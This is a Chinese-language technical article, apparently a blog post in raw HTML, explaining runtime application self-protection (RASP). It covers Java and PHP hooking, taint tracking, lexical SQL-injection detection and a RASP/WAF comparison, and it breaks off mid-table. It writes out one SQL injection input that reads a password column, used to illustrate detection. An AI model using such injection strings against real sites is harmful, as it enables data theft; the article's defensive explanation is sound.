<p style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;"><br/><span style="font-size:20.0pt;font-family:宋体;"></span></p><section style="text-align: justify;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 6pt;margin-left: 18pt;text-indent: -18pt;margin-bottom: 10px;"><span style="font-size: 24px;font-family: &#34;Times New Roman&#34;;">1.RASP技术概述</span></section><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">RASP（Runtime application self-protection，运行时应用自我保护）是一种新型应用安全保护技术，能实时检测和阻断攻击，使应用程序具备自我保护能力，当应用程序遭受到实际攻击伤害，就可以自动对其进行防御，而不需要进行人工干预，并且应用程序无需在编码时进行任何的修改，只需进行简单的配置即可。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">用户访问Web应用时，首先经过防火墙、waf等边界防护设备，然后该请求才会到达应用服务器，而RASP的检测和保护功能就是在应用程序运行的系统上运行的，它会拦截从应用程序到系统的所有调用，确保它们是安全的，并直接在应用程序内验证数据请求。</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="font-size: 12pt;font-family: 宋体;font-weight: normal;text-align: justify;margin-left: 36pt;text-indent: -36pt;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">1.1.<span style="font:7.0pt Times New Roman;"></span></span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">Java </span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">RASP和PHP</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"> </span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">RASP</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">Java和PHP的相似之处在于，在编译与执行过程中，编译器首先会将源代码转换为字节码指令流再使用对应的解释器执行字节码指令，区别在于PHP生成的中间代码是可以由zend引擎执行的opcode，而java则是生成可以由JVM执行的字节码。PHP的opcode也可看作一种字节码的表示形式，与java的字节码类似，均为编译过程中产生的中间代码。</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">而RASP技术的关键就是在执行指令前对字节码（opcode）指令进行修改从而hook关键函数进行安全检测。</span><span style="mso-bookmark:_Hlk78966547;"></span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="font-size: 12pt;font-family: 宋体;font-weight: normal;text-align: justify;margin-left: 36pt;text-indent: -36pt;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">1.1.1 Java RASP</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">Java支持以JavaAgent的方式，在服务器启动时，动态修改Java字节码，对敏感操作的函数进行hook，比如:数据库操作、文件读取、写入操作、命令执行等等。其架构如下图所示：</span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6122931442080378" data-s="300,640" style="" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=e54b7ca4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBbh9AqPVId1ayM4pr2VfkjoSvUtOaVLPQOxCdAC9PGq49lFn1VLbrZw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">启动时首先会进入 javaagent 的 premain 函数，该函数会在 main 函数之前预先执行。java提供一个名为Instrumentation的API接口，可用于类定义动态改变和操作。开发者可以在一个普通Java程序（带有 main 函数的 Java 类）运行时，通过 – javaagent参数指定一个特定的 jar 文件（包含 Instrumentation 代理）来启动 Instrumentation 的代理程序。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">接着进行初始化配置，对load class 操作进行插桩，当有类被 ClassLoader 加载时候，会把该类的字节码先交给自定义的 Transformer 处理。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">自定义 Transformer 会判断该类是否为需要 hook 的类，如果是会将该类交给ASM处理。</span><span style="font-family: &#34;Times New Roman&#34;;font-size: 12pt;text-indent: 24pt;">ASM框架（一个比较方便的字节码操作框架，可用于实现动态修改字节码的操作）会逐步解析每个方法，对需要hook的方法进行字节码的修改通常会在方法的开头或者结尾插入进入检测函数的字节码。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">最后，把hook好的字节码返回给Transformer从而载入JVM执行。</span></p><p style="font-size: 12pt;font-family: 宋体;font-weight: normal;text-align: justify;margin-left: 36pt;text-indent: -36pt;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">1.1.2  PHP RASP</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">同样，PHP也支持对PHP内核做类似的操作，PHP支持PHP扩展，可以利用Zend引擎API来hook opcode，监控敏感函数。</span></p><section style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;line-height: 150%;text-indent: 0em;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（1）预加载</span></section><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">PHP的任何扩展模块，都会依次执行模块初始化（MINIT）、请求初始化（RINIT）、请求结束（RSHUTDOWN）、模块结束（MSHUTDOWN）四个过程。RASP预加载主要在MINIT阶段实现。</span></p><p style="margin-top: 5px;margin-bottom: 5px;text-align: justify;"><span style="font-size: 16px;">（2）hook函数并检测</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在PHP中，hook函数中比较好的方式有两种，分别是 Hook Opcode 和 Hook内部函数，PHP RASP可以使用这两种方式来hook传播污染的函数。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">1）Hook Opcode</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">实现Hook Opcode 功能只需要改变 Hook Opcode 对应的处理函数即可， Zend引擎提供了一个现成的接口：zend_set_user_opcode_handler，在模块初始化（MINIT）调用该接口对opcode进行劫持从而改变代码的运行结构转而执行检测函数</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">2）Hook内部函数</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">通过修改zend_internal_function的handler来hook PHP中的内部函数，handler指向的函数用C或者C++编写，可以直接执行。通过修改zend_internal_function结构体中handler的指向，待完成检测函数的操作后再调用原来的处理函数即可完成hook。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">这两种方式皆可实现Hook函数，hook opcode方法只需要对几种Opcode类型进行hook，后续Hook的敏感函数可以自行添加，因此实现简单；而hook 内部函数需要对敏感函数进行逐一替换，比较繁琐，但由于该方式修改的是全局函数表的handler，相对于hook opcode方法更底层，可检测到越过Opcode进行的函数执行，比起第一种方式更为可靠。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在完成对敏感函数调用行为的监控后，便可根据函数的参数制定相应的策略，对不同类型的关键函数进行安全检测，如文件类可以关注是否读取了敏感文件, 数据库操作类是否语法结构发生了变化等等。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">由于RASP技术在opcode层面hook了敏感函数，因此可以对抗常见的一些加密、拼接、编码等混淆技术。以下是一个经过拼接以及base64双重编码的一句话木马：</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2847011144883485" data-s="300,640" style="" data-type="png" data-w="987" src="https://wechat2rss.xlab.app/img-proxy/?k=6ab30c96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBoiaZicCk2nBcT9gXnP3Hlq4hyTuIsyGmUnKOIg34t2icROMAwHojKwOfQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24pt;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">使用vld扩展对该木马进行opcode提取，可以得到如下的opcode序列，可以看到opcode序列还原了eval函数所对应的字节码指令。</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46956521739130436" data-s="300,640" style="" data-type="png" data-w="805" src="https://wechat2rss.xlab.app/img-proxy/?k=d93b8e8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBIqktPWMcWkTWYsu61zNdjPoPOiaU3OI8zTiaj29qJGJtmBBu1OXAuOHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="line-height: 150%;font-family: &#34;Times New Roman&#34;;font-size: 24px;">1.2 关键技术</span></p><section style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">1.2.1 动态污点跟踪</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></section><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">动态污点跟踪技术常被用于代码调试和分析中，其主要思想就是先认定一些数据源是可能有害的，被污染的，从而对恶意代码进行分析。动态污点跟踪的三个要素是污染源、污染传播策略和沉降点。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在RASP中，污染源可以看作是所有的HTTP输入，随着这些被污染变量的复制、拼接等一系列操作，其他变量也会被污染，即污染的传播。这些被污染的变量作为参数传入敏感函数以后，可能导致安全问题，这些敏感函数就是沉降点。而污染传播策略的制定影响对RASP的准确性有很大的影响。传播策略过于严格会导致漏报，传播策略过于宽松会增加系统开销。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">RASP的污染传播策略是变量的复制、赋值和大部分的字符串处理等操作传播污染。动态污点跟踪的一个好处是如果一些敏感函数的参数没有被污染，那么我们就无需对它进行安全检查。污染的传播过程其实就是hook对应的函数。</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><section style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">1.2.2 基于词法分析的检测算法</span><span style="mso-bookmark:_Hlk78967435;"></span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></section><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">RASP可以和传统WAF一样，使用规则匹配对输入进行检测，但是对于大多数的代码注入漏洞，RASP采用的是利用词法分析来检测漏洞。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">代码注入漏洞，是指攻击者可以通过Web请求将payload注入某种代码中，导致其被后台当做代码执行而产生的漏洞。而这些代码一旦被攻击者注入，则会改变原有的代码逻辑，也必然会改变代码的抽象语法树结构，而抽象语法树是token根据一定语法结构组合而成的，因此，只需要对代码部分进行词法分析，判断HTTP请求中的输入是否在词法分析的结果中占据了多个token，就可以判断是否形成了代码注入。</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">以SQL语句为例，词法分析的主要作用是将SQL语句分割成数据和代码。经过词法分析，Web层就可以判断对SQL语句的字符串处理是否改变了SQL的逻辑。百度的开源软件OpenRASP使用的SQL注入检测算法，就是通过词法分析实现的。如当攻击者发起以下请求：</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 22.6pt;line-height: 150%;"><span style="font-family:Microsoft YaHei UI;color:#000000;letter-spacing:0.4pt;background:#D9D9D9;">?id=1’UNION SELECT passwd FROM users</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在后台执行该SQL查询语句，OpenRASP会检测到包含攻击者注入代码的完整SQL语句：</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 22.6pt;line-height: 150%;"><span style="font-family:Microsoft YaHei UI;color:#000000;letter-spacing:0.4pt;background:#D9D9D9;">SELECT * FROM users WHERE id=&#39;1&#39; UNION SELECT passwd FROM users</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">OpenRASP便可以关联数据库的查询语句和Web请求参数，实现零规则SQL注入检测。具体实现如下：</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">首先通过词法分析将SQL语句解析为token序列：</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 22.6pt;line-height: 150%;"><span style="font-family:Microsoft YaHei UI;color:#000000;letter-spacing:0.4pt;background:#D9D9D9;">[&#39;SELECT&#39;,&#39;*&#39;,&#39;FROM&#39;,&#39;users&#39;,&#39;WHERE&#39;,&#39;id&#39;,&#39;=&#39;,&#39;1&#39;,&#39;UNION&#39;,&#39;SELECT&#39;,&#39;passwd&#39;,&#39;FROM&#39;,&#39;users&#39;]</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">然后解析SQL语句在去掉用户输入后的token序列：</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 22.6pt;line-height: 150%;"><span style="font-family:Microsoft YaHei UI;color:#000000;letter-spacing:0.4pt;background:#D9D9D9;">[ &#39;SELECT&#39;,&#39;*&#39;, &#39;FROM&#39;, &#39;users&#39;, &#39;WHERE&#39;, &#39;id&#39;, &#39;=&#39; ]</span><span style="font-family:Microsoft YaHei UI;color:#000000;letter-spacing:0.4pt;background:#D9D9D9;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">当token个数</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">相差</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">超过2，即表明当前的查询语句逻辑发生了改变，也就意味着这里就存在SQL注入漏洞。</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">词法分析通常通过有限状态机（DFA）来完成，不同的代码注入使用的DFA是不一样的，命令注入的DFA是基于shell语法构建的，文件包含的DFA是基于文件路径的词法构建的。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">2. RASP与WAF</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">2</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;">.1产品特性</span></p><table border="1" cellspacing="0" cellpadding="0" width="559" style="margin-left: 0px;border-width: initial;border-style: none;border-color: initial;border-collapse: collapse;width: 100%;"><tbody><tr style="height:15.4pt;"><td width="123" valign="top" style="width: 91.9pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;text-align: justify;"><br/></td><td width="217" valign="top" style="width: 163pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;word-break: break-all;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">R</span><span style="font-family:Times New Roman;">ASP</span></p></td><td width="219" valign="top" style="width:164.4pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">WAF</span></p></td></tr><tr style="height:15.4pt;"><td width="123" valign="top" style="width:91.9pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">部署</span><span style="font-family:Times New Roman;"></span></p></td><td width="217" valign="top" style="width: 163pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;word-break: break-all;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">单独部署在应用服务器上，嵌入在应用程序内部，应用代码无感知（如java程序启动时加上–javaag</span><span style="font-family:Times New Roman;">ent<span style="mso-spacerun:yes;">  </span>rasp.jar参数即可）；开发语言强相关，但防护插件可共用</span></p></td><td width="219" valign="top" style="width: 164.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;word-break: break-all;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">外部边界入口统一部署；支持透明(串联)、</span><span style="font-family:Times New Roman;">旁路、反向代理三种方式；需要进行大量测试和配置，才能充分涵盖应用程序</span></p></td></tr><tr style="height:15.4pt;"><td width="123" valign="top" style="width: 91.9pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;word-break: break-all;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">准</span><span style="font-family:Times New Roman;"></span><span style="font-family:Times New Roman;">确性</span></p></td><td width="217" valign="top" style="width:163.0pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">只在可能发生攻击的关键函数调用处检查是否有恶意内容输入。并且监视输入和输出数据以及整个数据逻辑流</span><span style="font-family:Times New Roman;">。</span></p></td><td width="219" valign="top" style="width: 164.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;word-break: break-all;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">基于模式匹配等方式对所有输入内容均进行检测</span><span style="font-family:Times New Roman;">。</span></p></td></tr><tr style="height:15.4pt;"><td width="123" valign="top" style="width:91.9pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">可靠</span><span style="font-family:Times New Roman;">性</span></p></td><td width="217" valign="top" style="width:163.0pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">不会在高负荷情况下进入“失效开放”状态——无论服务器负载如何，总会对代码进行检测</span><span style="font-family:Times New Roman;">。</span></p></td><td width="219" valign="top" style="width: 164.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;word-break: break-all;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">可能成为单一故障点；可能会在高负荷情况下进入“失效开放”状态</span><span style="font-family:Times New Roman;">。</span></p></td></tr><tr style="height:15.4pt;"><td width="123" valign="top" style="width:91.9pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">可视</span><span style="font-family:Times New Roman;">性</span></p></td><td width="217" valign="top" style="width:163.0pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">可以</span><span style="font-family:Times New Roman;">向开发人员提供详细的攻击路径和攻击信息。</span><span style="font-family:Times New Roman;"> </span></p></td><td width="219" valign="top" style="width:164.4pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">没有提供有关应用程序的详尽信</span><span style="font-family:Times New Roman;">息。</span></p></td></tr><tr style="height:15.4pt;"><td width="123" valign="top" style="width:91.9pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 